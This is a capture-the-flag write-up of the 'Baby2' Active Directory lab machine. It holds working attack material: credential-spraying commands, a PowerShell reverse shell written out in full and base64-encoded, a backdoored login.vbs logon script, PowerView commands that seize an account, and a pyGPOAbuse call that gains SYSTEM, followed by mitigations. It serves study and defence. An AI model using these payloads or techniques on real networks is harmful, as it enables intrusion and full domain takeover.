> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/babytwo.md). # BabyTwo Guest SMB exposes users; credential spray finds username=password accounts; write access to SYSVOL logon script delivers a shell as Amelia.Griffiths; ACL abuse resets GPOADM's password; pyGPOAbuse on
**Target:** `10.129.234.72`\ **Domain:** `baby2.vl`\ **Difficulty:** Medium\ **Category:** Active Directory / Windows *** ### Overview Baby2 is an Active Directory machine hosted on VulnLab. The attack path chains together several common misconfigurations: anonymous/guest SMB enumeration, username-as-password credential spraying, write access to a domain logon script, privilege escalation via ACL abuse (WriteDacl/WriteOwner), and finally full domain compromise via GPO abuse with `pyGPOAbuse`. *** ### 1. Reconnaissance #### Nmap Port Scan The scan reveals a standard Windows Server 2022 Domain Controller ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.234.72 -sCV PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-11 19:03:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2 | Not valid before: 2025-08-19T14:22:11 |_Not valid after: 2105-08-19T14:22:11 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2 | Not valid before: 2025-08-19T14:22:11 |_Not valid after: 2105-08-19T14:22:11 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2 | Not valid before: 2025-08-19T14:22:11 |_Not valid after: 2105-08-19T14:22:11 |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2 | Not valid before: 2025-08-19T14:22:11 |_Not valid after: 2105-08-19T14:22:11 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: BABY2 | NetBIOS_Domain_Name: BABY2 | NetBIOS_Computer_Name: DC | DNS_Domain_Name: baby2.vl | DNS_Computer_Name: dc.baby2.vl | DNS_Tree_Name: baby2.vl | Product_Version: 10.0.20348 |_ System_Time: 2026-03-11T19:04:40+00:00 |_ssl-date: 2026-03-11T19:05:18+00:00; -4s from scanner time. | ssl-cert: Subject: commonName=dc.baby2.vl | Not valid before: 2026-03-10T18:53:38 |_Not valid after: 2026-09-09T18:53:38 49153/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2026-03-11T19:04:41 |_ start_date: N/A |_clock-skew: mean: -3s, deviation: 0s, median: -3s ``` Key findings from the scan: * **Domain:** `baby2.vl` * **Hostname:** `dc.baby2.vl` * **OS:** Windows Server 2022 Build 20348 * SMB message signing is **enabled and required** (rules out relay attacks directly) *** ### 2. SMB Enumeration — Guest/Null Session ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.72 -u "guest" -p "" --shares SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.72 445 DC [+] baby2.vl\guest: SMB 10.129.234.72 445 DC [*] Enumerated shares SMB 10.129.234.72 445 DC Share Permissions Remark SMB 10.129.234.72 445 DC ----- ----------- ------ SMB 10.129.234.72 445 DC ADMIN$ Remote Admin SMB 10.129.234.72 445 DC apps READ SMB 10.129.234.72 445 DC C$ Default share SMB 10.129.234.72 445 DC docs SMB 10.129.234.72 445 DC homes READ,WRITE SMB 10.129.234.72 445 DC IPC$ READ Remote IPC SMB 10.129.234.72 445 DC NETLOGON READ Logon server share SMB 10.129.234.72 445 DC SYSVOL Logon server share ``` The `homes` share being world-writable is a notable finding worth revisiting after credential access. *** ### 3. User Enumeration via SMB With guest/null LDAP or SMB access, a list of domain usernames was gathered, producing `users.txt` containing accounts such as: * Administrator * Guest * krbtgt * gpoadm * Joan.Jennings * Mohammed.Harris * Harry.Shaw * Carl.Moore * Ryan.Jenkins * Kieran.Mitchell * Nicola.Lamb * Lynda.Bailey * Joel.Hurst * Amelia.Griffiths * library *** ### 4. Credential Spraying — Username as Password A common misconfiguration in AD environments is users whose password matches their username. NetExec's `--no-brute` flag tests each user's name as their own password without triggering lockout policies: ```bash ┌──(kali㉿kali)-[~/Documents/baby2] └─$ nxc smb 10.129.234.72 -u users.txt -p users.txt --no-brute --continue-on-success SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.72 445 DC [-] baby2.vl\Administrator:Administrator STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Guest:Guest STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\krbtgt:krbtgt STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\gpoadm:gpoadm STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Joan.Jennings:Joan.Jennings STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Mohammed.Harris:Mohammed.Harris STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore SMB 10.129.234.72 445 DC [-] baby2.vl\Ryan.Jenkins:Ryan.Jenkins STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Kieran.Mitchell:Kieran.Mitchell STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Nicola.Lamb:Nicola.Lamb STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Lynda.Bailey:Lynda.Bailey STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Joel.Hurst:Joel.Hurst STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE SMB 10.129.234.72 445 DC [+] baby2.vl\library:library ``` *** ### 5. Expanding Access with Carl.Moore Checking share permissions as `Carl.Moore` reveals expanded access: ```bash ┌──(kali㉿kali)-[~/Documents/baby2] └─$ nxc smb 10.129.234.72 -u Carl.Moore -p Carl.Moore --shares SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore SMB 10.129.234.72 445 DC [*] Enumerated shares SMB 10.129.234.72 445 DC Share Permissions Remark SMB 10.129.234.72 445 DC ----- ----------- ------ SMB 10.129.234.72 445 DC ADMIN$ Remote Admin SMB 10.129.234.72 445 DC apps READ,WRITE SMB 10.129.234.72 445 DC C$ Default share SMB 10.129.234.72 445 DC docs READ,WRITE SMB 10.129.234.72 445 DC homes READ,WRITE SMB 10.129.234.72 445 DC IPC$ READ Remote IPC SMB 10.129.234.72 445 DC NETLOGON READ Logon server share SMB 10.129.234.72 445 DC SYSVOL READ Logon server share ``` The `apps` and `docs` shares are now writable. More critically, investigating SYSVOL/NETLOGON reveals a **logon script** (`login.vbs`) that is executed automatically every time a user logs in. This is the key to achieving initial code execution on the domain controller. *** ### 6. Logon Script Hijacking — Initial Foothold #### Understanding the Attack Vector The `login.vbs` script is stored in the SYSVOL `scripts` folder and mapped as the domain logon script via Group Policy. Because an automation runs this script on every user login, replacing it with a malicious version will trigger a reverse shell as the next user who authenticates. #### Step 1 — Generate Encoded PowerShell Reverse Shell Payload A standard PowerShell TCP reverse shell is base64-encoded (UTF-16LE) to avoid character escaping issues when embedded inside VBScript: ```bash ┌──(kali㉿kali)-[~] └─$ python3 -c " import base64 cmd = "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" encoded = base64.b64encode(cmd.encode('utf-16-le')).decode() print(encoded) " JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA2AC4ANQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAMAAsACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== ``` #### Step 2 — Craft the Malicious VBScript The malicious `login.vbs` preserves the original drive mapping functionality (to avoid detection/disruption) and appends a `GetShell()` subroutine that launches the encoded PowerShell payload silently: ```vbs Sub MapNetworkShare(sharePath, driveLetter) Dim objNetwork Set objNetwork = CreateObject("WScript.Network") Dim mappedDrives Set mappedDrives = objNetwork.EnumNetworkDrives Dim isMapped isMapped = False For i = 0 To mappedDrives.Count - 1 Step 2 If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then isMapped = True Exit For End If Next If isMapped Then objNetwork.RemoveNetworkDrive driveLetter & ":", True, True End If objNetwork.MapNetworkDrive driveLetter & ":", sharePath Set objNetwork = Nothing End Sub Sub GetShell() Dim objShell Set objShell = CreateObject("WScript.Shell") objShell.Run "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA2AC4ANQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAMAAsACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==", 0, False Set objShell = Nothing End Sub MapNetworkShare "\\dc.baby2.vl\apps", "V" MapNetworkShare "\\dc.baby2.vl\docs", "L" GetShell ``` #### Step 3 — Deploy the Malicious Script via SMB Connecting to the SYSVOL scripts folder using the `library:library` credentials (which have write access to NETLOGON), the original script is renamed and the malicious version uploaded: ```bash smb: \baby2.vl\scripts\> rename login.vbs loginog.vbs smb: \baby2.vl\scripts\> put login.vbs putting file login.vbs as \baby2.vl\scripts\login.vbs (1.7 kB/s) (average 1.5 kB/s) smb: \baby2.vl\scripts\> ls . D 0 Wed Mar 11 16:20:28 2026 .. D 0 Tue Aug 22 13:43:55 2023 login.vbs A 1649 Wed Mar 11 16:20:29 2026 loginog.vbs A 992 Sat Sep 2 10:55:51 2023 6126847 blocks of size 4096. 1959869 blocks available ``` #### Step 4 — Catch the Shell When the next user logs in and the script executes, a reverse shell connects back: ```bash ┌──(kali㉿kali)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.16.5] from (UNKNOWN) [10.129.234.72] 58799 PS C:\Windows\system32> cd ../../.. PS C:\> ls Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/16/2025 2:27 AM inetpub d----- 5/8/2021 1:20 AM PerfLogs d-r--- 4/16/2025 1:51 AM Program Files d----- 8/22/2023 10:30 AM Program Files (x86) d----- 8/22/2023 1:10 PM shares d----- 8/22/2023 12:35 PM temp d-r--- 8/22/2023 12:54 PM Users d----- 8/20/2025 9:05 AM Windows -a---- 4/16/2025 2:48 AM 32 user.txt PS C:\> type user.txt 4278xxxxxxxxxxxxxxxxxxxxxx5c38 ``` The shell is running as **Amelia.Griffiths**. who has `WriteDacl` & `WriteOwner` on `GPOADM` user and `GPO-MANAGEMENT` *** ### 7. Privilege Escalation — ACL Abuse & GPO Abuse #### Enumerating Privileges (BloodHound) Running BloodHound reveals a compelling privilege chain: ``` AMELIA.GRIFFITHS → (MemberOf) → LEGACY group LEGACY → (WriteDacl, WriteOwner) → GPOADM user LEGACY → (WriteDacl, WriteOwner) → GPO-MANAGEMENT group GPOADM → (GenericAll) → DEFAULT DOMAIN POLICY GPOADM → (GenericAll) → DEFAULT DOMAIN CONTROLLERS POLICY ```
\ and `GPOADM` has `GenericWrite` on these two Policies tho we only need `Default Domain Policy` to exploit
and from here we'll get its `GPO-ID` .
The attack path is: 1. Abuse `WriteDacl`/`WriteOwner` on `GPOADM` to grant ourselves full control 2. Reset `GPOADM`'s password 3. Use `GPOADM`'s `GenericAll` on the **Default Domain Policy** GPO to inject a malicious scheduled task via `pyGPOAbuse` 4. Trigger a `gpupdate` to execute the task as `SYSTEM` #### Step 1 — Grant Full Control Over GPOADM From Amelia's shell (PowerView is transferred): ```powershell PS C:\Users\Amelia.Griffiths\Desktop> add-domainobjectacl -rights "all" -targetidentity "gpoadm" -principalidentity "Amelia.Griffiths" ``` This leverages the `WriteDacl` permission Amelia holds on `GPOADM` via the `LEGACY` group to grant herself `GenericAll` rights over the `GPOADM` account. #### Step 2 — Reset GPOADM's Password ```bash PS C:\Users\Amelia.Griffiths\Desktop> $cred = ConvertTo-SecureString 'Test123!' -AsPlainText -Force PS C:\Users\Amelia.Griffiths\Desktop> set-domainuserpassword gpoadm -accountpassword $cred ``` Verify the new credentials work: ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.72 -u gpoadm -p 'Test123!' SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.72 445 DC [+] baby2.vl\gpoadm:Test123! ``` #### Step 3 — Identify the Default Domain Policy GPO ID From BloodHound, the Default Domain Policy object information shows: * **Object ID:** `16398B5E-3BC4-4CD2-A9CB-33B690E6A6AD` * **GPO ID (CN):** `31B2F340-016D-11D2-945F-00C04FB984F9` * **Gpcpath:** `\BABY2.VL\SYSVOL\BABY2.VL\POLICIES\{31B2F340-016D-11D2-945F-00C04FB984F9}` * **Affected Objects:** 27 (includes all domain computers and users) This GPO applies domain-wide, making it perfect for a SYSTEM-level payload. #### Step 4 — Generate Second Reverse Shell Payloa A new encoded PowerShell payload is generated, this time calling back on port 9001: ```bash ┌──(kali㉿kali)-[~] └─$ python3 -c " import base64 cmd = \"\$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes,0,\$bytes.Length)) -ne 0){\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i);\$sendback = (iex \$data 2>&1 | Out-String);\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\" encoded = base64.b64encode(cmd.encode('utf-16-le')).decode() print(encoded) " JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA2AC4ANQAnACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAMAAsACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== ``` #### Step 5 — Inject Malicious Scheduled Task via pyGPOAbuse `pyGPOAbuse` is a Python tool that abuses `GenericAll`/`GenericWrite` rights on a GPO to inject a scheduled task that runs as SYSTEM: ```bash ┌──(kali㉿kali)-[~/pyGPOAbuse] └─$ cd ~/pyGPOAbuse python3 -m venv venv source venv/bin/activate pip install impacket==0.11.0 pip install -r requirements.txt ┌──(venv)─(kali㉿kali)-[~/pyGPOAbuse] └─$ python3 pygpoabuse.py baby2.vl/gpoadm:'Test123!' \ -command "powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA2AC4ANQAnACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAMAAsACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" \ -dc-ip 10.129.234.72 \ -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -f [+] ScheduledTask TASK_8dfe9cf0 created! ``` #### Step 6 — Force GPO Update to Trigger Execution From Amelia's existing shell, force an immediate Group Policy refresh: ```powershell PS C:\Users\Amelia.Griffiths\Desktop> gpupdate Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. ``` #### Step 7 — Catch SYSTEM Shell ```bash ┌──(kali㉿kali)-[~] └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.5] from (UNKNOWN) [10.129.234.72] 54789 PS C:\Users> whoami nt authority\system PS C:\Windows\system32> pwd Path ---- C:\Windows\system32 PS C:\Windows\system32> cd ../../Users PS C:\Users> type Administrator/Desktop/root.txt 2935xxxxxxxxxxxxxxxxxxxxx40f9 ``` *** ### 8. Attack Chain Summary ``` [Guest SMB Enum] └─> Discovered users via LDAP/SMB null session └─> [Credential Spray: username == password] ├─> Carl.Moore:Carl.Moore → write access to apps/docs └─> library:library → write access to SYSVOL scripts └─> [Logon Script Hijack: login.vbs → reverse shell] └─> Shell as Amelia.Griffiths └─> [BloodHound: LEGACY group WriteDacl on GPOADM] └─> Add-DomainObjectAcl → Reset GPOADM password └─> [pyGPOAbuse: GPOADM GenericAll on Default Domain Policy] └─> Scheduled Task injected → gpupdate └─> SYSTEM shell → root.txt ``` *** ### 9. Tools Used | Tool | Purpose | | --------------- | --------------------------------------------- | | `nmap` | Port and service enumeration | | `NetExec (nxc)` | SMB auth, share enum, credential spraying | | `smbclient` | SMB share interaction, file upload | | `BloodHound` | AD privilege path analysis | | `PowerView` | In-memory AD enumeration and ACL manipulation | | `pyGPOAbuse` | GPO-based code execution as SYSTEM | | `netcat` | Reverse shell listener | *** ### 10. Key Takeaways & Mitigations | Finding | Mitigation | | ----------------------------------------------------------- | --------------------------------------------------------------------------------- | | Null/guest SMB session exposes usernames | Disable null session access; restrict guest account | | Username == password for multiple accounts | Enforce strong password policy; audit weak credentials with BloodHound or similar | | Write access to SYSVOL logon scripts for low-priv users | Restrict SYSVOL script write access to Domain Admins only | | Excessive ACLs: WriteDacl/WriteOwner on privileged accounts | Audit and remove unnecessary ACE entries; implement AD tiering | | GenericAll on Default Domain Policy | Restrict GPO modification rights; monitor GPO changes via SIEM | | `gpupdate` force-able by standard users | Consider restricting or monitoring `gpupdate /force` usage |